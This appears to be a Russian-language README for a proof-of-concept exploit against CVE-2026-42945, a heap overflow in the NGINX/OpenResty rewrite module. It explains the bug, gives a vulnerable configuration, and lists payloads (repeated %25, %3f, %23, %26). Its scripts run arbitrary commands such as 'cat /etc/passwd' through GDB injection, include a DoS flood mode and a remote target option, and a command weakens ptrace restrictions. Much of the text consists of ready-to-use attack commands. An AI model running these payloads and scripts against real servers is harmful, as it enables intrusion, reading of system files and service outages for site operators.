
Эксплойт доказательства концепции для CVE-2026-42945, критическое переполнение кучи в модуле перезаписи NGINX, позволяющее выполнение удалённого кода без аутентификации через специально сформированное кодирование URI. Включает среду тестирования на основе Docker, проверку ASAN и несколько скриптов эксплойта.
RCE успешно подтверждено — через переполнение кучи + инъекцию процесса GDB выполнение произвольных команд в рабочих процессах NGINX / OpenResty.
# Сборка образа NGINX + выполнение теста RCE одной командой
./run.sh nginx
# Сборка образа OpenResty + выполнение теста RCE одной командой
./run.sh openresty
# Пользовательская команда
./run.sh nginx 'cat /etc/passwd'
./run.sh openresty 'whoami'
| Свойство | Значение |
|---|---|
| ID CVE | CVE-2026-42945 |
| Тип уязвимости | Переполнение кучи → удалённое выполнение кода (RCE) |
| Затронутый компонент | ngx_http_rewrite_module |
| Затронутые версии | NGINX 0.6.27 ~ 1.30.1, NGINX Plus R32 ~ R36 |
| Оценка уязвимости | CVSS 9.4 (CRITICAL) |
| Условия эксплуатации | Без аутентификации; для RCE требуется ptrace (root) |
ngx_http_script_complex_value_code() выделяет буфер по декодированной длине URI, но ngx_http_script_copy_capture_code() вызывает ngx_escape_uri() и записывает по закодированной длине. Символы URL-кодирования расширяются в 3 раза → переполнение кучи.
Должны соблюдаться три условия одновременно:
rewrite и set находятся в одном locationrewrite содержит ?set ссылается на захваченную переменную $1 из rewritelocation ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # содержит '?'
set $original_endpoint $1; # ссылка на $1
}
#0 ngx_escape_uri src/core/ngx_string.c:1663
#1 ngx_http_script_copy_capture_code src/http/ngx_http_script.c:1399
#2 ngx_http_rewrite_handler src/http/modules/ngx_http_rewrite_module.c:180
.
├── run.sh # Точка входа для сборки + теста одной командой
├── README.md
│
├── scripts/ # Скрипты для тестирования и эксплуатации
│ ├── rce.sh # Чистый Shell RCE (curl + GDB, без Python)
│ ├── exploit_rce.py # Python RCE (совместим с 2.7/3.x)
│ ├── exploit.py # Основной PoC-скрипт (check/exploit/rce/flood)
│ └── exploit_asan.py # Полное сканирование с ASAN
│
├── package/ # Файлы развёртывания и оркестрации
│ ├── Dockerfile.rce # Сборка NGINX из исходников + среда RCE
│ ├── Dockerfile.openresty.rce # Сборка OpenResty из исходников + среда RCE
│ ├── Dockerfile # Базовый образ (Alpine)
│ ├── Dockerfile.asan # Образ для отладки с ASAN
│ ├── docker-compose.yml # Оркестрация Docker (nginx-rce + openresty-rce)
│ ├── nginx.conf # Уязвимая конфигурация NGINX
│ ├── nginx-openresty.conf # Уязвимая конфигурация OpenResty
│ ├── start_rce.sh # Скрипт запуска контейнера NGINX RCE
│ └── start_openresty_rce.sh # Скрипт запуска контейнера OpenResty RCE
│
└── src/ # Исходные коды (для сборки)
├── nginx-1.26.3/ # Исходный код NGINX 1.26.3
├── nginx-1.26.3.tar.gz
└── openresty-1.25.3.1.tar.gz # Исходный код OpenResty 1.25.3.1 (встроен nginx/1.25.3)
# Shell-скрипт (без зависимостей Python)
docker exec nginx-rce bash /opt/rce.sh 'id'
docker exec nginx-rce bash /opt/rce.sh 'cat /etc/passwd'
# Python-скрипт (совместим с 2.7/3.x)
docker exec nginx-rce python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'whoami'
# Аналогично для OpenResty
docker exec openresty-rce bash /opt/rce.sh 'id'
docker exec -it nginx-rce bash
# Внутри контейнера:
bash /opt/rce.sh 'id'
python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'uname -a'
# Требуются root + ptrace
sudo python3 scripts/exploit_rce.py -t http://target:80 -c 'id'
python3 scripts/exploit.py --target http://localhost:8775 --mode check # Обнаружение уязвимости
python3 scripts/exploit.py --target http://localhost:8775 --mode exploit # Верификация переполнения кучи с ASAN
python3 scripts/exploit.py --target http://localhost:8775 --mode rce # Оценка риска RCE
python3 scripts/exploit.py --target http://localhost:8775 --mode flood # Нагрузочное тестирование DoS
| Payload | Описание | Результат |
|---|---|---|
/api/%25 × N | Закодированный % | ✅ Переполнение кучи |
/api/%3f × N | Закодированный ? | ✅ Переполнение кучи |
/api/%23 × N | Закодированный # | ✅ Переполнение кучи |
/api/%26 × N | Закодированный & | ✅ Переполнение кучи |
rewrite (с ?) + set (ссылка на $1)%25/%3f/%23/%26echo 1 > /proc/sys/kernel/yama/ptrace_scope